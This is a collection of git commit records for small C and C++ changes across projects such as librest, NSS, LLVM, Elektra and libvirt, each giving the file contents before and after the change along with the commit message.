{"commit":"729361e8dc2b79aee6c185a112b30fc0c99529ed","old_file":"You-DataStore\/internal\/operation.h","new_file":"You-DataStore\/internal\/operation.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_OPERATION_H_\n#define YOU_DATASTORE_INTERNAL_OPERATION_H_\n\n#include <unordered_map>\n#include \"..\/task_typedefs.h\"\n\nnamespace You {\nnamespace DataStore {\n\n\/\/\/ A pure virtual class of operations to be put into transaction stack\nclass IOperation {\npublic:\n\tvirtual ~IOperation();\n\t\/\/\/ Executes the operation\n\tvirtual bool run() = 0;\nprotected:\n\tTaskId taskId;\n\tSerializedTask task;\n};\n\n}   \/\/ namespace DataStore\n}   \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_INTERNAL_OPERATION_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_OPERATION_H_\n#define YOU_DATASTORE_INTERNAL_OPERATION_H_\n\n#include <unordered_map>\n#include \"..\/task_typedefs.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace Internal {\n\/\/\/ A pure virtual class of operations to be put into transaction stack\nclass IOperation {\npublic:\n\tvirtual ~IOperation();\n\t\/\/\/ Executes the operation\n\tvirtual bool run() = 0;\nprotected:\n\tTaskId taskId;\n\tSerializedTask task;\n};\n}  \/\/ namespace Internal\n}   \/\/ namespace DataStore\n}   \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_INTERNAL_OPERATION_H_\n","subject":"Move IOperation to Internal namespace","message":"Move IOperation to Internal namespace\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"f1e2ac78eaa187d1ceabbb70883b2b9458580877","old_file":"rest-extras\/test-runner.c","new_file":"rest-extras\/test-runner.c","old_contents":"\/*\n * librest - RESTful web services access\n * Copyright (C) 2009 Intel Corporation.\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms and conditions of the GNU Lesser General Public License,\n * version 2.1, as published by the Free Software Foundation.\n *\n * This program is distributed in the hope it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public License for\n * more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n\n#include <config.h>\n#include <glib-object.h>\n\n#define test_add(unit_name, func) G_STMT_START {                        \\\n    extern void func (void);                                            \\\n    g_test_add_func (unit_name, func); } G_STMT_END\n\nint\nmain (int argc, char *argv[])\n{\n  g_type_init ();\n  g_test_init (&argc, &argv, NULL);\n\n  test_add (\"\/flickr\/error\", test_flickr_error);\n\n  return g_test_run ();\n}\n","new_contents":"\/*\n * librest - RESTful web services access\n * Copyright (C) 2009 Intel Corporation.\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms and conditions of the GNU Lesser General Public License,\n * version 2.1, as published by the Free Software Foundation.\n *\n * This program is distributed in the hope it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public License for\n * more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n\n#include <config.h>\n#include <glib-object.h>\n\n#define test_add(unit_name, func) G_STMT_START {                        \\\n    extern void func (void);                                            \\\n    g_test_add_func (unit_name, func); } G_STMT_END\n\nint\nmain (int argc, char *argv[])\n{\n  g_type_init ();\n  g_test_init (&argc, &argv, NULL);\n\n  test_add (\"\/flickr\/error\", test_flickr_error);\n  test_add (\"\/lastfm\/error\", test_flickr_error);\n\n  return g_test_run ();\n}\n","subject":"Add lastfm error handling to the test suite","message":"Add lastfm error handling to the test suite\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/librest,ThomasBollmeier\/librest-oauth-proxy,Distrotech\/librest,ThomasBollmeier\/librest-oauth-proxy,Distrotech\/librest,GNOME\/librest,GNOME\/librest"}
{"commit":"d7c9c58c7ef0b29fe6eb8c500e594aa99fbfdfef","old_file":"security\/nss\/macbuild\/NSSCommon.h","new_file":"security\/nss\/macbuild\/NSSCommon.h","old_contents":"\/* Defines common to all versions of NSS *\/\n\n#define NSPR20 1\n","new_contents":"\/* Defines common to all versions of NSS *\/\n\n#define NSPR20 1\n#define MP_API_COMPATIBLE 1\n\n","subject":"Add the MP_API_COMPATIBLE for Mac builds so that MPI libraries build correctly.","message":"Add the MP_API_COMPATIBLE for Mac builds so that MPI libraries build\ncorrectly.\n","lang":"C","license":"mpl-2.0","repos":"nmav\/nss,nmav\/nss,nmav\/nss,ekr\/nss-old,ekr\/nss-old,nmav\/nss,ekr\/nss-old,ekr\/nss-old,ekr\/nss-old,nmav\/nss,ekr\/nss-old,ekr\/nss-old,nmav\/nss,nmav\/nss"}
{"commit":"753e1d55744ab3e79fa79612fc907e267521fbc4","old_file":"problem_5\/solution.c","new_file":"problem_5\/solution.c","old_contents":"","new_contents":"#include <stdio.h>\n\n#define LIST_SIZE 20\n\nunsigned long mdc(unsigned long a, unsigned long b){\n  unsigned long mod;\n  mod = a % b;\n  while(mod != 0){\n    a = b;\n    b = mod;\n    mod = a % b;\n  }\n  return b;\n}\n\nunsigned long mmc(unsigned long a, unsigned long b){\n  unsigned long r = a * b \/ mdc(a, b);\n  return r;\n}\n\nunsigned long reduce(unsigned long (*f)(unsigned long, unsigned long), unsigned long *list){\n  int i, next_item_pos;\n  unsigned long result, item;\n  result = (*f)((*list + 0), (*list + 1));\n  next_item_pos = 2;\n  for(i = 0; i < LIST_SIZE && next_item_pos < LIST_SIZE; i++){\n    item = (*list + next_item_pos);\n    result = (*f)(result, item);\n    next_item_pos++;\n  }\n  return result;\n}\n\nint main(int argc, char *argv[]){\n  int i, highest_number;\n  unsigned long l[LIST_SIZE];\n  unsigned long *list;\n  highest_number = 0;\n  for(i = 0; i < LIST_SIZE; i++){\n    l[i] = i+1;\n  }\n  list = l;\n  printf(\"%ld\\n\", reduce(mmc, list));\n  return 0;\n}\n","subject":"Add C implementation for problem 5","message":"Add C implementation for problem 5\n","lang":"C","license":"mit","repos":"mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler"}
{"commit":"7c5ab46059bd8fa8bc1649a8dd6073161e703f9e","old_file":"src\/plat\/win32\/win32commandline.h","new_file":"src\/plat\/win32\/win32commandline.h","old_contents":"\n#ifndef __win32commandline_h__\n#define __win32commandline_h__\n\n#include <conio.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <windows.h>\n\n#include <assert.h>\n#include \"..\\..\\commandline.h\"\n\nclass CWin32CommandLine : public CCommandLine\n{\npublic:\n    CWin32CommandLine();\n    ~CWin32CommandLine();\npublic:\n    virtual LispInt GetKey();\n    void ReadLineSub(const LispChar * prompt);\n    virtual void NewLine();\n    virtual void ShowLine(const LispChar * prompt,LispInt promptlen,LispInt cursor);\n    virtual void Pause();\n\n    \/\/ new functionality\n    void color_print(const LispChar * str, WORD text_attrib);\n    void color_read(LispChar * str, WORD text_attrib);\nprotected:\n  void ShowLine();\n  const LispChar * iLastPrompt;\nprivate:\n    HANDLE out_console;\n    HANDLE in_console;\n    bool _is_NT_or_later;\n};\n\n#endif\n","new_contents":"\n#ifndef __win32commandline_h__\n#define __win32commandline_h__\n\n#include <conio.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <windows.h>\n\n#include <assert.h>\n#include \"..\/..\/commandline.h\"\n\nclass CWin32CommandLine : public CCommandLine\n{\npublic:\n    CWin32CommandLine();\n    ~CWin32CommandLine();\npublic:\n    virtual LispInt GetKey();\n    void ReadLineSub(const LispChar * prompt);\n    virtual void NewLine();\n    virtual void ShowLine(const LispChar * prompt,LispInt promptlen,LispInt cursor);\n    virtual void Pause();\n\n    \/\/ new functionality\n    void color_print(const LispChar * str, WORD text_attrib);\n    void color_read(LispChar * str, WORD text_attrib);\nprotected:\n  void ShowLine();\n  const LispChar * iLastPrompt;\nprivate:\n    HANDLE out_console;\n    HANDLE in_console;\n    bool _is_NT_or_later;\n};\n\n#endif\n","subject":"Replace backslashes in paths with slashes; should be compatible with both win32 compilers and mingw32 on linux","message":"Replace backslashes in paths with slashes; should be compatible with both\nwin32 compilers and mingw32 on linux\n","lang":"C","license":"lgpl-2.1","repos":"MateuszSnamina\/yacas,MateuszSnamina\/yacas,grzegorzmazur\/yacas,tomaszkrysiuk\/yacas,grzegorzmazur\/yacas,tomaszkrysiuk\/yacas,martanoga\/yacas,martanoga\/yacas,martanoga\/yacas,qwert2003\/yacas,MateuszSnamina\/yacas,martanoga\/yacas,grzegorzmazur\/yacas,tomaszkrysiuk\/yacas,qwert2003\/yacas,qwert2003\/yacas,tomaszkrysiuk\/yacas,grzegorzmazur\/yacas,MateuszSnamina\/yacas,MateuszSnamina\/yacas,qwert2003\/yacas,tomaszkrysiuk\/yacas,grzegorzmazur\/yacas,grzegorzmazur\/yacas,martanoga\/yacas,qwert2003\/yacas,martanoga\/yacas,tomaszkrysiuk\/yacas,qwert2003\/yacas,grzegorzmazur\/yacas,MateuszSnamina\/yacas,qwert2003\/yacas,MateuszSnamina\/yacas,tomaszkrysiuk\/yacas,martanoga\/yacas"}
{"commit":"0968bf9a8ad06572c068e0024fcc29bbf744ef04","old_file":"demo\/src\/input.h","new_file":"demo\/src\/input.h","old_contents":"\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/    https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n\n#include <cstdint>\n#include <strstream>\n#include <stdint.h>\n#include <string>\n\nclass Goat {\npublic:\n    Goat();\n    ~Goat();\n    void add_a_horn();\n    std::string describe() const;\nprivate:\n    uint32_t horns;\n};\n\ninline uint32_t DoMath(uint32_t a) {\n    return a * 3;\n}\n\nGoat::Goat() : horns(0) {}\nGoat::~Goat() {}\nvoid Goat::add_a_horn() { horns++; }\nstd::string Goat::describe() const {\n    std::ostrstream oss;\n    std::string plural = horns == 1 ? \"\" : \"s\";\n    oss << \"This goat has \" << horns << \" horn\" << plural << \".\";\n    return oss.str();\n}","new_contents":"\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/    https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n\n#include <cstdint>\n#include <sstream>\n#include <stdint.h>\n#include <string>\n\nclass Goat {\npublic:\n    Goat();\n    ~Goat();\n    void add_a_horn();\n    std::string describe() const;\nprivate:\n    uint32_t horns;\n};\n\ninline uint32_t DoMath(uint32_t a) {\n    return a * 3;\n}\n\nGoat::Goat() : horns(0) {}\nGoat::~Goat() {}\nvoid Goat::add_a_horn() { horns++; }\nstd::string Goat::describe() const {\n    std::ostringstream oss;\n    std::string plural = horns == 1 ? \"\" : \"s\";\n    oss << \"This goat has \" << horns << \" horn\" << plural << \".\";\n    return oss.str();\n}","subject":"Move away from deprecated C++ APIs in the demo","message":"Move away from deprecated C++ APIs in the demo\n\nA bit less cruft printed during tests which use it.\n","lang":"C","license":"apache-2.0","repos":"google\/autocxx,google\/autocxx,google\/autocxx,google\/autocxx"}
{"commit":"04b4c5a77120a26053cd853c603ff12cedf03a76","old_file":"testmud\/mud\/home\/Game\/sys\/treed.c","new_file":"testmud\/mud\/home\/Game\/sys\/treed.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n","subject":"Add daemon to handle tree growth in the future","message":"Add daemon to handle tree growth in the future\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"9fd8c99a43beea140d4656bc5871ed2b0ea3328c","old_file":"src\/plugins\/ccode\/ccode.h","new_file":"src\/plugins\/ccode\/ccode.h","old_contents":"\/**\n * @file\n *\n * @brief\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\/\n\n#ifndef ELEKTRA_PLUGIN_CCODE_H\n#define ELEKTRA_PLUGIN_CCODE_H\n\n#include <kdbplugin.h>\n\ntypedef struct\n{\n\tchar encode[256];\n\tchar decode[256];\n\n\tchar escape;\n\n\tchar * buf;\n\tsize_t bufalloc;\n} CCodeData;\n\nssize_t keySetRaw (Key * key, const void * newBinary, size_t dataSize);\n\nvoid elektraCcodeEncode (Key * cur, CCodeData * h);\nvoid elektraCcodeDecode (Key * cur, CCodeData * h);\n\nint elektraCcodeOpen (Plugin * handle, Key * k);\nint elektraCcodeClose (Plugin * handle, Key * k);\nint elektraCcodeGet (Plugin * handle, KeySet * ks, Key * parentKey);\nint elektraCcodeSet (Plugin * handle, KeySet * ks, Key * parentKey);\n\nPlugin * ELEKTRA_PLUGIN_EXPORT (ccode);\n\n#endif\n","new_contents":"\/**\n * @file\n *\n * @brief\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\/\n\n#ifndef ELEKTRA_PLUGIN_CCODE_H\n#define ELEKTRA_PLUGIN_CCODE_H\n\n#include <kdbplugin.h>\n\ntypedef struct\n{\n\tunsigned char encode[256];\n\tunsigned char decode[256];\n\n\tchar escape;\n\n\tchar * buf;\n\tsize_t bufalloc;\n} CCodeData;\n\nssize_t keySetRaw (Key * key, const void * newBinary, size_t dataSize);\n\nvoid elektraCcodeEncode (Key * cur, CCodeData * h);\nvoid elektraCcodeDecode (Key * cur, CCodeData * h);\n\nint elektraCcodeOpen (Plugin * handle, Key * k);\nint elektraCcodeClose (Plugin * handle, Key * k);\nint elektraCcodeGet (Plugin * handle, KeySet * ks, Key * parentKey);\nint elektraCcodeSet (Plugin * handle, KeySet * ks, Key * parentKey);\n\nPlugin * ELEKTRA_PLUGIN_EXPORT (ccode);\n\n#endif\n","subject":"Use `unsigned char` for mapping","message":"CCode: Use `unsigned char` for mapping\n","lang":"C","license":"bsd-3-clause","repos":"e1528532\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,mpranj\/libelektra,mpranj\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,mpranj\/libelektra,petermax2\/libelektra,mpranj\/libelektra,petermax2\/libelektra,mpranj\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,e1528532\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,mpranj\/libelektra,petermax2\/libelektra,petermax2\/libelektra,e1528532\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,e1528532\/libelektra,mpranj\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra"}
{"commit":"ce299fb3e2c5b68fd4a43975c854e5ffaf91d192","old_file":"Ansi.c","new_file":"Ansi.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n\/*\n * 1) ĺһǸ\n  2) ΪͨԺǿ׳Ҫ󣬲ܶԿʹκμ\n *\/\n#define PRINT_GREETINGS do { \\\n    printf(\"Hi there!\\n\"); \\\n} while (0)\n\nint main(const int argc, const char* const* argv)\n{\n    \/\/ macro\n    PRINT_GREETINGS;\n\n    return 0;\n}\n","subject":"Add ANSI C code snippet.","message":"Add ANSI C code snippet.\n","lang":"C","license":"mit","repos":"niucheng\/Snippets,niucheng\/Snippets,niucheng\/Snippets"}
{"commit":"cda59be9314833305fad936ca78f625d9e4e7de1","old_file":"include\/llvm\/ExecutionEngine\/Orc\/JITSymbol.h","new_file":"include\/llvm\/ExecutionEngine\/Orc\/JITSymbol.h","old_contents":"\/\/===----------- JITSymbol.h - JIT symbol abstraction -----------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Abstraction for target process addresses.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_EXECUTIONENGINE_ORC_JITSYMBOL_H\n#define LLVM_EXECUTIONENGINE_ORC_JITSYMBOL_H\n\n#include <functional>\n\nnamespace llvm {\n\n\/\/\/ @brief Represents an address in the target process's address space.\ntypedef uint64_t TargetAddress;\n\n\/\/\/ @brief Represents a symbol in the JIT.\nclass JITSymbol {\npublic:\n  typedef std::function<TargetAddress()> GetAddressFtor;\n\n  JITSymbol(std::nullptr_t) : CachedAddr(0) {}\n\n  JITSymbol(GetAddressFtor GetAddress)\n      : CachedAddr(0), GetAddress(std::move(GetAddress)) {}\n\n  \/\/\/ @brief Returns true if the symbol exists, false otherwise.\n  explicit operator bool() const { return CachedAddr || GetAddress; }\n\n  \/\/\/ @brief Get the address of the symbol in the target address space. Returns\n  \/\/\/        '0' if the symbol does not exist.\n  TargetAddress getAddress() {\n    if (GetAddress) {\n      CachedAddr = GetAddress();\n      assert(CachedAddr && \"Symbol could not be materialized.\");\n      GetAddress = nullptr;\n    }\n    return CachedAddr;\n  }\n\nprivate:\n  TargetAddress CachedAddr;\n  GetAddressFtor GetAddress;\n};\n\n}\n\n#endif \/\/ LLVM_EXECUTIONENGINE_ORC_JITSYMBOL_H\n","new_contents":"\/\/===----------- JITSymbol.h - JIT symbol abstraction -----------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Abstraction for target process addresses.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_EXECUTIONENGINE_ORC_JITSYMBOL_H\n#define LLVM_EXECUTIONENGINE_ORC_JITSYMBOL_H\n\n#include \"llvm\/Support\/Compiler.h\"\n#include <functional>\n\nnamespace llvm {\n\n\/\/\/ @brief Represents an address in the target process's address space.\ntypedef uint64_t TargetAddress;\n\n\/\/\/ @brief Represents a symbol in the JIT.\nclass JITSymbol {\npublic:\n  typedef std::function<TargetAddress()> GetAddressFtor;\n\n  JITSymbol(std::nullptr_t) : CachedAddr(0) {}\n\n  JITSymbol(GetAddressFtor GetAddress)\n      : CachedAddr(0), GetAddress(std::move(GetAddress)) {}\n\n  \/\/\/ @brief Returns true if the symbol exists, false otherwise.\n  LLVM_EXPLICIT operator bool() const { return CachedAddr || GetAddress; }\n\n  \/\/\/ @brief Get the address of the symbol in the target address space. Returns\n  \/\/\/        '0' if the symbol does not exist.\n  TargetAddress getAddress() {\n    if (GetAddress) {\n      CachedAddr = GetAddress();\n      assert(CachedAddr && \"Symbol could not be materialized.\");\n      GetAddress = nullptr;\n    }\n    return CachedAddr;\n  }\n\nprivate:\n  TargetAddress CachedAddr;\n  GetAddressFtor GetAddress;\n};\n\n}\n\n#endif \/\/ LLVM_EXECUTIONENGINE_ORC_JITSYMBOL_H\n","subject":"Fix the MSVC bots by using LLVM_EXPLICIT rather than explicit.","message":"[Orc] Fix the MSVC bots by using LLVM_EXPLICIT rather than explicit.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@228564 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm"}
{"commit":"f6f3aa060523c5f9b223e9d9665c266381cc2b6e","old_file":"src\/ios\/GalleryAPI.h","new_file":"src\/ios\/GalleryAPI.h","old_contents":"#import <AssetsLibrary\/AssetsLibrary.h>\n#import <AssetsLibrary\/ALAssetsGroup.h>\n#import <Cordova\/CDVPlugin.h>\n\n@interface GalleryAPI : CDVPlugin\n\n- (void) getAlbums:(CDVInvokedUrlCommand*)command;\n\n- (void) getMedia:(CDVInvokedUrlCommand*)command;\n\n@end\n","new_contents":"#import <Photos\/Photos.h>\n#import <Cordova\/CDVPlugin.h>\n\n@interface GalleryAPI : CDVPlugin\n\n- (void) getAlbums:(CDVInvokedUrlCommand*)command;\n\n- (void) getMedia:(CDVInvokedUrlCommand*)command;\n\n@end\n","subject":"Move to new Photo API","message":"[ios] Move to new Photo API","lang":"C","license":"mit","repos":"subitolabs\/cordova-gallery-api,SuryaL\/cordova-gallery-api,subitolabs\/cordova-gallery-api,subitolabs\/cordova-gallery-api,SuryaL\/cordova-gallery-api"}
{"commit":"c9200d420f8320a8d57437ae346b161dd092408a","old_file":"kernel\/x86\/gdt.h","new_file":"kernel\/x86\/gdt.h","old_contents":"#ifndef KERNEL_X86_GDT_H\n#define KERNEL_X86_GDT_H\n\n#define NULL_SEGMENT 0\n#define KCODE_SEGMENT 1\n#define KDATA_SEGMENT 2\n#define SEGOFF(seg) (8 * seg)\n\n#ifndef ASM_FILE\n\ntypedef struct GDTDesc GDTDesc;\nextern GDTDesc gdt_desc;\nvoid gdt_load(GDTDesc *);\n\n#endif\n#endif\n","new_contents":"#ifndef KERNEL_X86_GDT_H\n#define KERNEL_X86_GDT_H\n\n\/**\n * Support for managing the Global Descriptor Table (GDT)\n *\n * GDT initialization in zero is trivial at runtime: the entire structure is\n * baked into the binary, ready to go, and the bringup code need only load the\n * GDT pointer. A simple call to:\n *\n *     gdt_load(&gdt_desc);\n *\n * Will do the trick.\n *\/\n\n\/* symbolic constants for specific segments, as used by our kernel *\/\n#define NULL_SEGMENT 0\n#define KCODE_SEGMENT 1\n#define KDATA_SEGMENT 2\n\n\/* The offset from the beginning of the GDT of a particular segment\n * descriptor. *\/\n#define SEGOFF(seg) (8 * seg)\n\n#ifndef ASM_FILE\n\n\/* The GDT pointer structure. defined in gdt.c *\/\ntypedef struct GDTDesc GDTDesc;\nextern GDTDesc gdt_desc;\n\n\/* Load the GDT pointer supplied as an argument, then start using it. defined in\n * gdt_load.S *\/\nvoid gdt_load(GDTDesc *);\n\n#endif\n#endif\n","subject":"Add some comments to the GDT header.","message":"Add some comments to the GDT header.\n","lang":"C","license":"isc","repos":"zenhack\/zero,zenhack\/zero,zenhack\/zero"}
{"commit":"71bc80b60e70084812deb646c8a12a964c2463ba","old_file":"src\/util\/viratomic.h","new_file":"src\/util\/viratomic.h","old_contents":"","new_contents":"\/*\n * viratomic.h: atomic integer operations\n *\n * Copyright (C) 2012 IBM Corporation\n *\n * Authors:\n *     Stefan Berger <stefanb@linux.vnet.ibm.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307  USA\n *\n *\/\n\n#ifndef __VIR_ATOMIC_H__\n# define __VIR_ATOMIC_H__\n\n# include \"threads.h\"\n\ntypedef struct _virAtomicInt virAtomicInt;\ntypedef virAtomicInt *virAtomicIntPtr;\n\nstruct _virAtomicInt {\n    virMutex lock;\n    int value;\n};\n\nstatic inline int\nvirAtomicIntInit(virAtomicIntPtr vaip)\n{\n    vaip->value = 0;\n    return virMutexInit(&vaip->lock);\n}\n\nstatic inline void\nvirAtomicIntSet(virAtomicIntPtr vaip, int value)\n{\n     virMutexLock(&vaip->lock);\n\n     vaip->value = value;\n\n     virMutexUnlock(&vaip->lock);\n}\n\nstatic inline int\nvirAtomicIntRead(virAtomicIntPtr vaip)\n{\n     return vaip->value;\n}\n\nstatic inline int\nvirAtomicIntAdd(virAtomicIntPtr vaip, int add)\n{\n    int ret;\n\n    virMutexLock(&vaip->lock);\n\n    vaip->value += add;\n    ret = vaip->value;\n\n    virMutexUnlock(&vaip->lock);\n\n    return ret;\n}\n\nstatic inline int\nvirAtomicIntSub(virAtomicIntPtr vaip, int sub)\n{\n    int ret;\n\n    virMutexLock(&vaip->lock);\n\n    vaip->value -= sub;\n    ret = vaip->value;\n\n    virMutexUnlock(&vaip->lock);\n\n    return ret;\n}\n\n#endif \/* __VIR_ATOMIC_H *\/\n","subject":"Support for atomic operations on integers","message":"Support for atomic operations on integers\n\nFor threading support, add atomic add and sub operations working on\nintegers. Base this on locking support provided by virMutex.\n\n","lang":"C","license":"lgpl-2.1","repos":"wiedi\/libvirt,trainstack\/libvirt,jfehlig\/libvirt,bjzhang\/libvirt,jardasgit\/libvirt,rmarwaha\/libvirt1,rmarwaha\/libvirt1,emaste\/libvirt,zhlcindy\/libvirt-1.1.4-maintain,olafhering\/libvirt,emaste\/libvirt,elmarco\/libvirt,agx\/libvirt,trainstack\/libvirt,fabianfreyer\/libvirt,nertpinx\/libvirt,jfehlig\/libvirt,andreabolognani\/libvirt,zhlcindy\/libvirt-1.1.4-maintain,wiedi\/libvirt,trainstack\/libvirt,wiedi\/libvirt,rmarwaha\/libvirt,jeckersb\/libvirt,zhlcindy\/libvirt-1.1.4-maintain,jardasgit\/libvirt,crobinso\/libvirt,agx\/libvirt,shugaoye\/libvirt,wiedi\/libvirt,shugaoye\/libvirt,andreabolognani\/libvirt,novel\/fbsd-libvirt,VenkatDatta\/libvirt,rmarwaha\/libvirt,libvirt\/libvirt,siboulet\/libvirt-openvz,siboulet\/libvirt-openvz,warewolf\/libvirt,eskultety\/libvirt,taget\/libvirt,rlaager\/libvirt,zippy2\/libvirt,siboulet\/libvirt-openvz,eskultety\/libvirt,eskultety\/libvirt,trainstack\/libvirt,datto\/libvirt,elmarco\/libvirt,jardasgit\/libvirt,libvirt\/libvirt,trainstack\/libvirt,trainstack\/libvirt,jeckersb\/libvirt,rmarwaha\/libvirt1,nertpinx\/libvirt,fabianfreyer\/libvirt,iam-TJ\/libvirt,warewolf\/libvirt,elmarco\/libvirt,wiedi\/libvirt,fabianfreyer\/libvirt,novel\/fbsd-libvirt,rmarwaha\/libvirt,cbosdo\/libvirt,bjzhang\/libvirt,dumbbell\/libvirt,crobinso\/libvirt,olafhering\/libvirt,warewolf\/libvirt,jfehlig\/libvirt,zippy2\/libvirt,warewolf\/libvirt,rlaager\/libvirt,emaste\/libvirt,VenkatDatta\/libvirt,eskultety\/libvirt,nertpinx\/libvirt,agx\/libvirt,nertpinx\/libvirt,datto\/libvirt,bjzhang\/libvirt,novel\/fbsd-libvirt,rmarwaha\/libvirt1,fabianfreyer\/libvirt,datto\/libvirt,elmarco\/libvirt,cbosdo\/libvirt,wiedi\/libvirt,andreabolognani\/libvirt,siboulet\/libvirt-openvz,jeckersb\/libvirt,novel\/fbsd-libvirt,agx\/libvirt,crobinso\/libvirt,taget\/libvirt,rlaager\/libvirt,jardasgit\/libvirt,jeckersb\